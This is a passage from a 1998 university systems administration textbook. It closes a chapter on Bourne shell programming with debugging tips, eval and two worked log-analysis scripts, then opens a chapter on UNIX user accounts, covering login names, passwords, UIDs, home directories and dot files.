If by now you have typed every example program in, completed every exercise and have not encountered one single error then you are a truly amazing person. However, if you are like me, you would have made at least 70 billion mistakes/ typos or TSE's (totally stupid errors) - and now I tell you the easy way to find them!

Method 1 - set
Issuing the truly inspired command of:
set -x

within your program will do wonderful things. As your program executes, each code line will be printed to the screen - that way you can find your mistakes, err, well, a little bit quicker. Turning tracing off is a good idea once your program works - this is done by:
set +x

David Jones and Bruce Jamieson (15/10/98)

Page 169

85321, Systems Administration

Chapter 8: Shell Programming

Method 2 - echo
Placing a few echo statements in your code during your debugging is one of the easiest ways to find errors - for the most part this will be the quickest way of detecting if variables are being set correctly.

Very Common Mistakes

$VAR=`ls`

This should be VAR=`ls`. When setting the value of a shell variable you don't use the $ sign.
read $BUFFER

The same thing here. When setting the value of a variable you don't use the $ sign.
VAR=`ls -al"

The second ` is missing

if [ $VAR ] then echo $VAR fi

Haven't specified what is being tested here. Need to refer to the contents of Tables 8.2 through 8.5
if [ $VAR -eq $VAR2 ] then echo $VAR fi

If $VAR and $VAR2 are strings then you can't use eq to compare their values. You need to use =.
if [ $VAR = $VAR2 ] then echo $VAR fi

The then must be on a separate line.

And now for the really really hard bits

Writing good shell programs
We have covered most of the theory involved with shell programming, but there is more to shell programming than syntax. In this section, we will complete the scanit program, examining efficiency and structure considerations. scanit currently consists of one chunk of code with one small function. In its current form, it doesn't meet the requirements specified:
David Jones and Bruce Jamieson (15/10/98) Page 170

85321, Systems Administration

Chapter 8: Shell Programming

"...you will produce a report of people accessing restricted sites, exactly which sites and the number of times they visited them." Our code, as it is, looks like:
#!/bin/bash # FILE: # scanit

check_data_files() { if [ -r netwatch -a -r netnasties ] then return 0 else return 1 fi } # Main Program if check_data_files then echo "Datafiles found" else echo "One of the datafiles missing - exiting" exit 1 fi for checkuser in $* do while read buffer do while read checksite do user=`echo $buffer | cut -d" " -f1` site=`echo $buffer | cut -d" " -f2` if [ "$user" = "$checkuser" -a "$site" = "$checksite" ] then echo "$user visited the prohibited site $site" fi done < netnasties done < netwatch done

At the moment, we simply print out the user and site combination - no count provided. To be really effective, we should parse the file containing the user/site combinations (netwatch), register and user/prohibited site combinations and then when we have all the combinations and count per combination, produce a report. Given our datafile checking function, the pseudo code might look like:
if data_files_exist ... else exit 1 fi check_netwatch_file produce_report exit

David Jones and Bruce Jamieson (15/10/98)

Page 171

85321, Systems Administration

Chapter 8: Shell Programming

It might also be an idea to build in a "default" - if no username(s) are given on the command line, we go and get all the users from the /etc/passwd file:
f [ $1 ] then the_user_list=$* else get_passwd_users fi

Exercise
8.14

Write the shell function get_passwd_users. This function goes through the /etc/passwd file and creates a list of usernames. (Hint: username is field one of the password file, the delimiter is ":")

eval the wonderful!

The use of eval is perhaps one of the more difficult concepts in shell programming to grasp is the use of eval. eval effectively says parse (or execute) the following twice. What this means is that any shell variables that appear in the string are substituted with their real value on the first parse, then used as-they-are for the second parse. The use of this is difficult to explain without an example, so well refer back to our case study problem. The real challenge to this program is how to actually store a count of the user and site combination. The following is how I'd do it:
checkfile() { # Goes through the netwatch file and saves user/site # combinations involving sites that are in the "restricted" # list while read buffer do username=`echo $buffer | cut -d" " -f1` # Get the username # Remove .s from the string site=`echo $buffer | cut -d" " -f2 | sed s/\\\.//g` for checksite in $badsites do checksite=`echo $checksite | sed s/\\\.//g` # Do this for the compare sites if [ "$site" = "$checksite" ] then usersite="$username$checksite" # Does the VARIABLE called $usersite exist? Note use of eval if eval [ \$$usersite ] then eval $usersite=\`expr \$$usersite + 1\` else eval $usersite=1 fi fi done done < netwatch

David Jones and Bruce Jamieson (15/10/98)

Page 172

85321, Systems Administration

Chapter 8: Shell Programming

There are only two really tricky lines in this function:

1. site=`echo $buffer | cut -d" " -f2 | sed s/\\\.//g`

Creates a variable site; if buffer (one line of netwatch) contained

rabid.dog.com

then site would become:

rabiddogcom

The reason for this is because of the variable usersite:

usersite="$username$checksite"

What we are actually creating is a variable name, stored in the variable usersite - why (you still ask) did we remove the "."'s? This becomes clearer when we examine the second tricky line:
2. eval $usersite=\`expr \$$usersite + 1\`

Remember eval "double" or "pre" parses a line - after eval has been run, you get a line which looks something like:
# $user="jamiesobrabiddogcom" jamiesobrabiddogcom=`expr $jamiesobrabiddogcom + 1`

What should become clearer is this: the function reads each line of the netwatch file. If the site in the netwatch file matches one of the sites stored in netnasties file (which has been cat'ed into the variable badsites) then we store the user/site combination. We do this by first checking if there exists a variable by the name of the user/site combination - if one does exist, we add 1 to the value stored in the variable. If there wasn't a variable with the name of the user/site combination, then we create one by assigning it to "1". At the end of the function, we should have variables in memory for all the user/prohibited site combinations found in the netwatch file, something like:
jamiesobmucusslimecom=3 tonsloyemucusslimecom=1 tonsloyeboysfunnetcomfr=3 tonsloyewarezundergr=1 rootwarzundergr=4

Note that this would be the case even if we were only interested in the users root and jamiesob. So why didn't we check in the function if the user in the netwatch file was one of the users we were interested in? Why should we!? All that does is adds an extra loop:
for every line in the file for every site for every user do check create variable if user and if site in userlist, badsitelist

David Jones and Bruce Jamieson (15/10/98)

Page 173

85321, Systems Administration

Chapter 8: Shell Programming

whereas all we have now is

for every line in the file for every site create variable if site in badsitelist

We are still going to have to go through every user/badsite combination anyway when we produce the report - why add the extra complexity? You might also note that there is minimal file IO - datafiles are only read ONCE - lists (memory structures) may be read more than once. Exercise
8.15

Given the checksite function, write a function called produce_report that accepts a list of usernames and finds all user/badsite combinations stored by checkfile. This function should echo lines that look something like:
jamiesob: tonsloye: tonsloye: tonsloye: mucus.slime.com 3 mucus.slime.com 1 xboys.funnet.com.fr 3 warez.under.gr 1

Step-by-step
In this section, we will examine a complex shell programming problem and work our way through the solution.

The problem
This problem is an adaptation of the problem used in the 1997 shell programming assignment for systems administration: Problem Definition Your departments FTP server provides anonymous FTP access to the /pub area of the filesystem - this area contains subdirectories (given by unit code) which contain resource materials for the various subjects offered. You suspect that this service isnt being used any more with the advent of the WWW, however, before you close this service and use the file space for something more useful, you need to prove this. What you require is a program that will parse the FTP logfile and produce usage statistics on a given subject. This should include: Number of accesses per user Number of bytes transferred The number of machines which have used the area.

David Jones and Bruce Jamieson (15/10/98)

Page 174

85321, Systems Administration

Chapter 8: Shell Programming

The program will probably be called from other scripts. It should accept (from the command line) the subject (given by the subject code) that it is to examine, followed by one or more commands. Valid commands will consist of: USERS - get a user and access count listing BYTES - bytes transmitted for the subject HOSTS - number of unique machines who have used the area Background information A cut down version of the FTP log will be examined by our program - it will consist of:
remote host name file size in bytes name of file local username or, if guest, ID string given (anonymous FTP password)

For example:
aardvark.com 138.77.8.8 2345 112 /pub/85349/lectures.tar.gz /pub/81120/cpu.gif flipper@aardvark.com sloth@topaz.cqu.edu.au

The FTP logfile will be called /var/log/ftp.log - we need not concern ourselves how it is produced (for those that are interested - look at man ftpd for a description of the real log file). Anonymous FTP usernames are recorded as whatever the user types in as the password - while this may not be accurate, it is all we have to go on. We can assume that all directories containing subject material branch off the /pub directory, eg.
/pub/85321 /pub/81120

Expected interaction The following are examples of interaction with the program (scanlog):
Shell_Prompt: scanlog 85321 USERS jamiesob@jasper.cqu.edu.au 1 b.spice@sworld.cqu.edu.au 22 jonesd 56 Shell_Prompt: scanlog 85321 BYTES 2322323 Shell_Prompt: scanlog 85321 HOSTS 5 Shell_Prompt: scanlog 85321 BYTES USERS 2322323 jamiesob@jasper.cqu.edu.au 1 b.spice@sworld.cqu.edu.au 22 jonesd 56

David Jones and Bruce Jamieson (15/10/98)

Page 175

85321, Systems Administration

Chapter 8: Shell Programming

Solving the problem

How would you solve this problem? What would you do first? Break it up What does the program have to do? What are its major parts? Lets look at the functionality again - our program must: get a user and access count listing produce a the byte count on files transmitted for the subject list the number unique machines who have used the area and how many times To do this, our program must first: Read parameters from the command line, picking out the subject we are interested in go through the other parameters one by one, acting on each one, calling the appropriate function Terminate/clean up So, this looks like a program containing three functions. Or is it? Look at the simple case first It is often easier to break down a problem by walking through a simple case first. Lets imagine that we want to get information about a subject - lets use the code 85321. At this stage, we really dont care what the action is. What happens? The program starts. We extract the first parameter from the command line. This is our subject. We might want to check if there is a first parameter - is it blank? Since we are only interested in this subject, we might want to go through the FTP log file and extract those entries were interested in and keep this information in a temporary file. Our other option is to do this for every different action - this would probably be inefficient. Now, we want to go through the remaining parameters on the command line and act on each one. Maybe we should signal a error if we dont understand the action? At the end of our program, we should remove any temporary files we use. Pseudo Code If we were to pseudo code the above steps, wed get something like:
# Check to see if the first parameter is blank if first_parameter = "" then echo "No unit specified" exit fi

David Jones and Bruce Jamieson (15/10/98)

Page 176

85321, Systems Administration

Chapter 8: Shell Programming

# Find all the entries we're interested in, place this in a TEMPFILE # Right - for every other parameter on the command line, we perform # some for ACTION in other_parameters do # Decide if it is a valid action - act on it or give a error done # Remove Temp file rm TEMPFILE

Lets code this:

if [ "$1" = "" ] then echo "No unit specified" exit 1 fi # Remove $1 from the parm line UNIT=$1 shift # Find all the entries we're interested in grep "/pub/$UNIT" $LOGFILE > $TEMPFILE # Right - for every other parameter on the command line, we perform some for ACTION in $@ do process_action "$ACTION" done # Remove Temp file rm $TEMPFILE

Ok, a few points to note: Notice the use of the variables LOGFILE and TEMPFILE? These would have to be defined somewhere above the code segment. We remove the first parameter from the command line and assign it to another variable. We do this using the shift command. We use grep to find all the entries in the original log file that refer to the subject we are interested in. We store these entries in a temporary file. The use of $@ in the loop to process the remaining parameters is important. Why did we use it? Why not $* ? Hint: 1 2 3 4 5 6 isnt 1 2 3 4 5 6 is it? Weve invented a new function, process_action - we will use this to work out what to do with each action. Note that we are passing the function a parameter. Why are we enclosing it in quotes? Does it matter if we dont? Actually, in this case, it doesnt matter if we call the function with the parameter in quotes or not, as our parameters are expected to be single words. However, what if we allowed commands like: find host 138.77.3.4 If we passed this string to a function (without quotes), it would be

David Jones and Bruce Jamieson (15/10/98)

Page 177

85321, Systems Administration

Chapter 8: Shell Programming

interpreted as: $1=find $2=host $3=138.77.3.4 This wouldnt be entirely what we want - so, we enclose the string in quotes - producing: $1=find host 138.77.3.4 As we mentioned, in this case, we have single word commands, so it doesnt matter, however, always try to look ahead for problems - ask yourself the figurative question - Is my code going to work in the rain?. Expand function process_action We have a function to work on - process_action. Again, we should pseudo code it, then implement it. Wait! We havent first thought about what we want it to do - always a good idea to think before you code! This function must take a parameter, determine if it is a valid action, then perform some action on it. It is an invalid action, then we should signal an error. Lets try the pseudo code first:
process_action() { # Now, Check what we have case Action in BYTES then do a function USERS then do a function HOSTS then do a function Something Else then echo esac }

to get bytes to get a user list to get an access count "Unknown command $theAction"

Right - now try the code:

process_action() { # Translate to upper case theAction=`echo $1 | tr [a-z] [A-Z]` # Now, Check what we have case $theAction in USERS) getUserList ;; HOSTS) getAccessCount ;; BYTES) getBytes ;; *) echo "Unknown command $theAction" ;; esac }

Some comments on this code:

David Jones and Bruce Jamieson (15/10/98)

Page 178

85321, Systems Administration

Chapter 8: Shell Programming

Note that we translate the action command (for example bytes , users) into upper case. This is a nicety - it just means that well pick up every typing variation of the action. We use the case command to decide what to do with the action. We could have just as easily used a series of IF-THEN-ELSE-ELIF-FI statements - this becomes horrendous to code and read after about three conditions so case is a better option. As you will see, weve introduced calls to functions for each command this again breaks to code up into bite size pieces (excuse the pun ;) to code. This follows the top-down design style. We will now expand each function. Expand Function getUserList Now might be a good time to revise what was required of our program - in particular, this function. We need to produce a listing of all the people who have accessed files relating to the subject of interest and how many times theyve accessed files. Because weve separated out the entries of interest from the log file, we need no longer concern ourselves with the actual files and if they relate to the subject. We now are just interested in the users. Reviewing the log file format:
aardvark.com 2345 /pub/85349/lectures.tar.gz flipper@aardvark.com 138.77.8.8 112 /pub/81120/cpu.gif sloth@topaz.cqu.edu.au

We see that user information is stored in the fourth field. If we pseudo code what we want to do, it would look something like:
for every_user_in the file do go_through_the_file_and_count_occurences print this out done

Expanding this a bit more, we get:

extract_users_from_file for user in user_list do count = 0 while read log_file do if user = current_entry then count = count + 1 fi done echo user count done

Lets code this:

getUserList() {

David Jones and Bruce Jamieson (15/10/98)

Page 179

85321, Systems Administration

Chapter 8: Shell Programming

cut -f4 $TEMPFILE | sort > $TEMPFILE.users userList=`uniq $TEMPFILE.users` for user in $userList do { count=0 while read X do if echo $X | grep $user > /dev/null then count=`expr $count + 1` fi done } < $TEMPFILE echo $user $count done rm $TEMPFILE.users }

Some points about this code: The first cut extracts a user list and places it in a temp file. A unique list of users is then created and placed into a variable. For every user in the list, the file is read through and each line searched for the user string. We pipe the output into /dev/null. If a match is made, count is incremented. Finally the user/count combination is printed. The temporary file is deleted. Unfortunately, this code totally sucks. Why? There are several things wrong with the code, but the most outstanding problem is the massive and useless looping being performed - the while loop reads through the file for every user. This is bad. While loops within shell scripts are very time consuming and inefficient - they are generally avoided if, as in this case, they can be. More importantly, this script doesnt make use of UNIX commands which could simplify (and speed up!) our code. Remember: dont re-invent the wheel - use existing utilities where possible. Lets try it again, this time without the while loop:
getUserList() { cut -f4 $TEMPFILE | sort > $TEMPFILE.users userList=`uniq $TEMPFILE.users` # Get user list

for user in $userList # for every user... do count=`grep $user $TEMPFILE.users | wc -l` # count how many times they are echo $user $count # in the file done rm $TEMPFILE.users }

Much better! Weve replaced the while loop with a simple grep command however, there are still problems: We dont need the temporary file Can we wipe out a few more steps? Next cut:

David Jones and Bruce Jamieson (15/10/98)

Page 180

85321, Systems Administration

Chapter 8: Shell Programming

getUserList() { userList=`cut -f4 $TEMPFILE | sort | uniq` for user in $userList do echo $user `grep $user $TEMPFILE | wc -l` done }

Beautiful! Or is it. What about:

echo `cut-f4 $TEMPFILE | sort | uniq -c`

This does the same thing...or does it? If we didnt care what our output looked like, then thisd be ok - find out whats wrong with this code by trying it and the previous segment - compare the results. Hint: uniq -c produces a count of every sequential occurrence of an item in a list. What would happen if we removed the sort? How could we fix our output problem? Expand Function getAccessCount This function requires a the total number of unique hosts which have accessed the files. Again, as weve already separated out the entries of interest into a temporary file, we can just concentrate on the hosts field (field number one). If we were to pseudo code this:
create_unique_host list count = 0 for host in host_list do count = count + 1 done echo count

From the previous function, we can see that a direct translation from pseudo code to shell isnt always efficient. Could we skip a few steps and try the efficient code first? Remember - we should try to use existing UNIX commands. How do we create a unique list? The hint is in the word unique - the uniq command is useful in extracting unique listings. What are we going to use as the input to the uniq command? We want a list of all hosts that accessed the files - the host is stored in the first field of every line in the file. Next hint - when we see the word field we can immediately assume were going to use the cut command. Do we have to give cut any parameters? In this case, no. cut assumes (by default) that fields are separated by tabs - in our case, this is true. However, if the delimiter was anything else, wed have to use a -d switch, followed by the delimiter. Next step - what about the output from uniq? Where does this go? We said that we wanted a count of the unique hosts - another hint - counting usually
David Jones and Bruce Jamieson (15/10/98) Page 181

85321, Systems Administration

Chapter 8: Shell Programming

means using the wc command. The wc command (or word count command) counts characters, words and lines. If the output from the uniq command was one host per line, then a count of the lines would reveal the number of unique hosts. So what do we have?
cut f1 uniq wc -l

Right - how do we get input and save output for each command? A first cut approach might be:
cat $TEMPFILE | cut -f1 > $TEMPFILE.cut cat $TEMPFILE.cut | uniq > $TEMPFILE.uniq COUNT=`cat $TEMPFILE.uniq | wc -l` echo $COUNT

This is very inefficient; there are several reasons for this: We cat a file THREE times to get the count. We dont even have to use cat if we really try. We use temp files to store results - we could use a shell variable (as in the second last line) but is there any need for this? Remember, file IO is much slower than assignments to variables, which, depending on the situation, is slower again that using pipes. There are four lines of code - this can be completed in one! So, removing these problems, we are left with:
getAccessCount() { echo `cut -f1 $TEMPFILE | uniq | wc -l` }

How does this work? The shell executes whats between `` and this is outputed by echo. This command starts with the cut command - a common misconception is that cut requires input to be piped into it - however, cut works just as well by accepting the name of a file to work with. The output from cut (a list of hosts) is piped into uniq. uniq then removes all duplicate host from the list - this is piped into wc. wc then counts the number of lines - the output is displayed. Expand Function getBytes The final function we have to write (Yes! We are nearly finished) counts the total byte count of the files that have been accessed. This is actually a fairly simple thing to do, but as youll see, using shell scripting to do this can be very inefficient. First, some pseudo code:
total = 0 while read line from file

David Jones and Bruce Jamieson (15/10/98)

Page 182

85321, Systems Administration

Chapter 8: Shell Programming

do extract the byte field add this to the total done echo total

In shell, this looks something like:

getBytes() { bytes=0 while read X do bytefield=`echo $X | cut -f2` bytes=`expr $bytes + $bytefield` done < $TEMPFILE echo $bytes }

...which is very inefficient (remember: looping is bad!). In this case, every iteration of the loop causes three new processes to be created, two for the first line, one for the second - creating processes takes time! The following is a bit better:
getBytes() { list=`cut -f2 $TEMPFILE ` bytes=0 for number in $list do bytes=`expr $bytes + $number` done echo $bytes }

The above segment of code still has looping, but is more efficient with the use of a list of values which must be added up. However, we can get smarter:
getBytes() { numstr=`cut -f2 $TEMPFILE | sed "s/$/ + /g"` expr $numstr 0 }

Do you see what weve done? The cut operation produces a list of numbers, one per line. When this is piped into sed, the end-of-line is substituted with + - note the spaces. This is then combined into a single line string and stored in the variable numstr. We then get the expr of this string - why do we put the 0 on the end? Two reasons: After the sed operation, there is an extra + on the end - for example, if the input was: 2 3 4
David Jones and Bruce Jamieson (15/10/98) Page 183

85321, Systems Administration

Chapter 8: Shell Programming

The output would be: 2 + 3 + 4 + This, when placed in a shell variable, looks like: 2 + 3 + 4 + ...which when evaluated, gives an error. Thus, placing a 0 at the end of the string matches the final + sign, and expr is happy What if there wasnt a byte count? What if there were no entries - expr without parameters doesnt work - expr with 0 does. So, is this the most efficient code? Within the shell, yes. Probably the most efficient code would be a call to awk and the use of some awk scripting, however that is beyond the scope of this chapter and should be examined as a personal exercise. A final note about the variables Throughout this exercise, weve referred to $TEMPFILE and $LOGFILE. These variables should be set at the top of the shell script. LOGFILE refers to the location of the FTP log. TEMPFILE is the actual file used to store the entries of interest. This must be a unique file and should be deleted at the end of the script. Itd be an excellent idea to store this file in the /tmp directory (just in case your script dies and you leave the temp file laying around - /tmp is regularly cleaned out by the system) - it would be an even better idea to guarantee its uniqueness by including the process ID ($$) somewhere within its name:
LOGFILE="/var/log/ftp.log" TEMPFILE="/tmp/scanlog.$$"

The final program - a listing

The following is the completed shell script - notice how short the code is (think of what it would be like if we hadnt been pushing for efficiency!).
#!/bin/sh # # # # # # # #

FILE: PURPOSE: AUTHOR: HISTORY: To do :

scanlog Scan FTP log Bruce Jamieson DEC 1997

Created

Truly astounding things. Apart from that, process a FTP log and produce stats

David Jones and Bruce Jamieson (15/10/98)

Page 184

85321, Systems Administration

Chapter 8: Shell Programming

#-------------------------# globals LOGFILE="ftp.log" TEMPFILE="/tmp/scanlog.$$" # functions #---------------------------------------# getAccessCount # - display number of unique machines that have accessed the page getAccessCount() { echo `cut -f1 $TEMPFILE }

| uniq | wc -l`

#------------------------------------------------------# getUserList # - display the list of users who have acessed this page getUserList() { userList=`cut -f4 $TEMPFILE | sort | uniq` for user in $userList do echo $user `grep $user $TEMPFILE | wc -l` done } #------------------------------------------------------# getBytes # - calculate the amount of bytes transferred getBytes() { numstr=`cut -f2 $TEMPFILE | sed "s/$/ + /g"` expr $numstr 0 } #-----------------------------------------------------# process_action # Based on the passed string, calls one of three functions # process_action() { # Translate to upper case theAction=`echo $1 | tr [a-z] [A-Z]` # Now, Check what we have case $theAction in BYTES) getBytes ;; USERS) getUserList ;; HOSTS) getAccessCount ;; *) echo "Unknown command $theAction" ;; esac }

David Jones and Bruce Jamieson (15/10/98)

Page 185

85321, Systems Administration

Chapter 8: Shell Programming

#---#

Main

if [ "$1" = "" ] then echo "No unit specified" exit 1 fi UNIT=$1 # Remove $1 from the parm line shift # Find all the entries we're interested in grep "/pub/$UNIT" $LOGFILE > $TEMPFILE # Right - for every parameter on the command line, we perform some for ACTION in $@ do process_action "$ACTION" done # Remove Temp file rm $TEMPFILE # We're finished!

Final notes
Throughout this chapter we have examined shell programming concepts including: variables comments condition statements repeated action commands functions recursion traps efficiency, and structure Be aware that different shells support different syntax - this chapter has dealt with bourne shell programming only. As a final issue, you should at some time examine the Perl programming language as it offers the full functionality of shell programming but with added, compiled-code like features - it is often useful in some of the more complex system administration tasks.

David Jones and Bruce Jamieson (15/10/98)

Page 186

85321, Systems Administration

Chapter 8: Shell Programming

Review Questions
8.1 Write a function that equates the username in the scanit program with the user's full name and contact details from the /etc/passwd file. Modify scanit so its output looks something like:
*** Restricted Site Report *** The following is a list of prohibited sites, users who have visited them and on how many occasions Bruce Jamieson Elvira Tonsloy Elvira Tonsloy Elvira Tonsloy x9999 x1111 x1111 x1111 mucus.slime.com 3 mucus.slime.com 1 xboys.funnet.com.fr 3 warez.under.gr 1

(Hint: the fifth field of the passwd file usually contains the full name and phone extension (sometimes)) 8.2 Modify scanit so it produces a count of unique user/badsite combinations like the following:
*** Restricted Site Report *** The following is a list of prohibited sites, users who have visited them and on how many occasions Bruce Jamieson Elvira Tonsloy Elvira Tonsloy Elvira Tonsloy x9999 x1111 x1111 x1111 mucus.slime.com 3 mucus.slime.com 1 xboys.funnet.com.fr 3 warez.under.gr 1

4 User/Site combinations detected.

8.3 Modify scanit so it produces a message something like:

There were no users found accessing prohibited sites! if there were no user/badsite combinations.

David Jones and Bruce Jamieson (15/10/98)

Page 187

85321, Systems Administration

Chapter 8: Shell Programming

Source of scanit
#!/bin/bash # # AUTHOR: # DATE: # PROGRAM: # PURPOSE: # # # # # FILES: # # # # NOTES: # # # # # HISTORY: # Bruce Jamieson Feb 1997 scanit Program to analyse the output from a network monitor. "scanit" accepts a list of users to and a list of "restricted" sites to compare with the output from the network monitor. scanit netwatch netnasties shell script output from network monitor restricted site file

This is a totally made up example - the names of persons or sites used in data files are not in anyway related to reality - any similarity is purely coincidental :) bleak and troubled :)

checkfile() { # Goes through the netwatch file and saves user/site # combinations involving sites that are in the "restricted" # list while read buffer do username=`echo $buffer | cut -d" " -f1` site=`echo $buffer | cut -d" " -f2 | sed s/\\\.//g` for checksite in $badsites do checksite=`echo $checksite | sed s/\\\.//g` # echo $checksite $site if [ "$site" = "$checksite" ] then usersite="$username$checksite" if eval [ \$$usersite ] then eval $usersite=\`expr \$$usersite + 1\` else eval $usersite=1 fi fi done done < netwatch } produce_report() { # Goes through all possible combinations of users and # restricted sites - if a variable exists with the combination, # it is reported for user in $* do for checksite in $badsites do

David Jones and Bruce Jamieson (15/10/98)

Page 188

85321, Systems Administration

Chapter 8: Shell Programming

writesite=`echo $checksite` checksite=`echo $checksite | sed s/\\\.//g` usersite="$user$checksite" if eval [ \$$usersite ] then eval echo "$user: $writesite \$$usersite" usercount=`expr $usercount + 1` fi done done } get_passwd_users() { # Creates a user list based on the /etc/passwd file while read buffer do username=`echo $buffer | cut -d":" -f1` the_user_list=`echo $username $the_user_list` done < /etc/passwd } check_data_files() { if [ -r netwatch -a -r netnasties ] then return 0 else return 1 fi } # Main Program # Uncomment the next line for debug mode #set -x if check_data_files then echo "Datafiles found" else echo "One of the datafiles missing - exiting" exit 1 fi usercount=0 badsites=`cat netnasties` if [ $1 ] then the_user_list=$* else get_passwd_users fi echo echo "*** Restricted Site Report ***" echo echo The following is a list of prohibited sites, users who have echo visited them and on how many occasions echo checkfile produce_report $the_user_list echo

David Jones and Bruce Jamieson (15/10/98)

Page 189

85321, Systems Administration

Chapter 8: Shell Programming

if [ $usercount -eq 0 ] then echo "There were no users found accessing prohibited sites!" else echo "$usercount prohibited user/site combinations found." fi echo echo # END scanit

David Jones and Bruce Jamieson (15/10/98)

Page 190

85321, Systems Administration

Chapter 9: Users

Chapter
Introduction

Users

Before anyone can use your system they must have an account. This chapter examines user accounts and the responsibilities of the Systems Administrators with regards to accounts. By the end of this chapter you should be aware of the process involved in creating and removing user accounts, be familiar with the configuration files that UNIX uses to store information about accounts, know what information you must have to create an account, understand the implications of choosing particular usernames, user ids and passwords, be aware of special accounts including the root account and the implications of using the root account, have been introduced to a number of public domain tools that help with account management.

What is a UNIX account?

A UNIX account is a collection of logical characteristics that specify who the user is, what the user is allowed to do and where the user is allowed to do it. These characteristics include a login (or user) name, password, numeric user identifier or UID, a default numeric group identifier or GID, Many accounts belong to more than one group but all accounts have one default group. home directory, login shell, possibly a mail alias, mail file, and collection of startup files.

Login names
The account of every user is assigned a unique login (or user) name. The username uniquely identifies the account for people. The operating system uses the user identifier number (UID) to uniquely identify an account. The translation between UID and the username is carried out reading the /etc/passwd file (/etc/passwd is introduced below).
David Jones, Bruce Jamieson (15/10/98) Page 191

85321, Systems Administration

Chapter 9: Users

Login name format On a small system, the format of login names is generally not a problem since with a small user population it is unlikely that there will be duplicates. However on a large site with hundreds or thousands of users and multiple computers, assigning a login name can be a major problem. With a larger number of users it is likely that you may get a number of people with names like David Jones, Darren Jones. The following is a set of guidelines. They are by no means hard and fast rules but using some or all of them can make life easier for yourself as the Systems Administrator, or for your users. unique This means usernames should be unique not only on the local machine but also across different machines at the same site. A login name should identify the same person and only one person on every machine on the site. This can be very hard to achieve at a site with a large user population especially if different machines have different administrators. The reason for this guideline is that under certain circumstances it is possible for people with the same username to access accounts with the same username on different machines. up to 8 characters UNIX will ignore or disallow login names that are longer. Dependent on which platform you are using. Lowercase Numbers and upper case letters can be used. Login names that are all upper case should be avoided as some versions of UNIX can assume this to mean your terminal doesn't recognise lower case letters and every piece of text subsequently sent to your display is in uppercase. Easy to remember A random sequence of letters and numbers is hard to remember and so the user will be continually have to ask the Systems Administrator "what's my username?" No nicknames A username will probably be part of an email address. The username will be one method by which other users identify who is on the system. Not all the users may know the nicknames of certain individuals. A fixed format There should be a specified system for creating a username. Some combination of first name, last name and initials is usually the best. Setting a policy allows you to automate the procedure of adding new users. It also makes it easy for other users to work out what the username for a person might be.

David Jones, Bruce Jamieson (15/10/98)

Page 192

85321, Systems Administration

Chapter 9: Users

Passwords
An account's password is the key that lets someone in to use the account. A password should be a secret collection of characters known only by the owner of the account. Poor choice of passwords is the single biggest security hole on any multi-user computer system. As a Systems Administrator you should follow a strict set of guidelines for passwords (after all if someone can break the root account's password, your system is going bye, bye). In addition you should promote the use of these guidelines amongst your users. Password guidelines An example set of password guidelines might include use combinations of upper and lower case characters, numbers and punctuation characters, don't use random combinations of characters if they break the following two rules, be easy to remember, If a user forgets their password they can't use the system and guess whom they come and see. Also the user SHOULD NOT have to write their password down. be quick to type, One of the easiest and most used methods for breaking into a system is simply watching someone type in their password. It is harder to do if the password is typed in quickly. a password should be at least 6 characters long, The shorter a password is the easier it is to break. Some systems will not allow passwords shorter than a specified length. a password should not be any longer than 8 to 10 characters, Most systems will look as if they are accepting longer passwords but they simply ignore the extra characters. The actual size is system specific but between eight and ten characters is generally the limit. do not use words from ANY language, Passwords that are words can be cracked (you'll see how later). do not use combinations of just words and numbers, Passwords like hello1 are just as easy to crack as hello. use combinations of words separated by punctuation characters or acronyms of uncommon phrases/song lines, They should be easy to remember but hard to crack. e.g. b1gsh1p change passwords regularly, Not too often that you forget which password is currently set. never reuse passwords.

David Jones, Bruce Jamieson (15/10/98)

Page 193

85321, Systems Administration

Chapter 9: Users

The UID
Every account on a UNIX system has a unique user or login name that is used by users to identify that account. The operating system does not use this name to identify the account. Instead each account must be assigned a unique user identifier number (UID) when it is created. The UID is used by the operating system to identify the account. UID guidelines In choosing a UID for a new user there are a number of considerations to take into account including choose a UID number between 100 and 32767 (or 60000), Numbers between 0 and 99 are reserved by some systems for use by system accounts. Different systems will have different possible maximum values for UID numbers. Around 32000 and 64000 are common upper limits. UIDs for a user should be the same across machines, Some network systems (e.g. NFS) require that users have the same UID across all machines in the network. Otherwise they will not work properly. you may not want to reuse a number. Not a hard and fast rule. Every file is owned by a particular user id. Problems arise where a user has left and a new user has been assigned the UID of the old user. What happens when you restore from backups some files that were created by the old user? The file thinks the user with a particular UID owns it. The new user will now own those files even though the username has changed.

Home directories
Every user must be assigned a home directory. When the user logs in it is this home directory that becomes the current directory. Typically all user home directories are stored under the one directory. Many modern systems use the directory /home. Older versions used /usr/users. The names of home directories will match the username for the account. For example, a user jonesd would have the home directory /home/jonesd In some instances it might be decided to further divide users by placing users from different categories into different sub-directories. For example, all staff accounts may go under /home/staff while students are placed under /home/students. These separate directories may even be on separate partitions.

David Jones, Bruce Jamieson (15/10/98)

Page 194

85321, Systems Administration

Chapter 9: Users

Login shell
Every user account has a login shell. A login shell is simply the program that is executed every time the user logs in. Normally it is one of the standard user shells such as Bourne, csh, bash etc. However it can be any executable program. One common method used to disable an account is to change the login shell to the program /bin/false. When someone logs into such an account /bin/false is executed and the login: prompt reappears.

Dot files
A number of commands, including vi, the mail system and a variety of shells, can be customised using dot files. A dot file is usually placed into a user's home directory and has a filename that starts with a . (dot). This files are examined when the command is first executed and modifies how it behaves. Dot files are also known as rc files. As you should've found out by doing one of the exercises from the previous chapter rc is short for "run command" and is a left over from an earlier operating system. Commands and their dot files Table 9.1 summarises the dot files for a number of commands. The FAQs for the newsgroup comp.unix.questions has others.
Filename ~/.cshrc ~/.login /etc/profile ~/.profile Command /bin/csh /bin/csh /bin/sh /bin/sh

~/.logout ~/.bash_logout ~/.bash_history ~/.forward ~/.exrc

/bin/csh /bin/bash /bin/bash

incoming mail
vi

Explanation Executed every time C shell started. Executed after .cshrc when logging in with C shell as the login shell. Executed during the login of every user that uses the Bourne shell or its derivatives. Located in user's home directory. Executed whenever the user logs in when the Bourne shell is their login shell executed just prior to the system logging the user out (when the csh is the login shell) executed just prior to the system logging the user out (when bash is the login shell) records the list of commands executed using the current shell Used to forward mail to another address or a command used to set options for use in vi
Table 9 .1 Do t file s

David Jones, Bruce Jamieson (15/10/98)

Page 195

85321, Systems Administration

Chapter 9: Users

Shell dot files These shell dot files, particularly those executed when a shell is first executed, are responsible for setting up command aliases, Some shells (e.g. bash) allow the creation of aliases for various commands. A common command alias for old MS-DOS people is dir, usually set to mean the same as ls -l. setting values for shell variables like PATH and TERM.

Skeleton directories
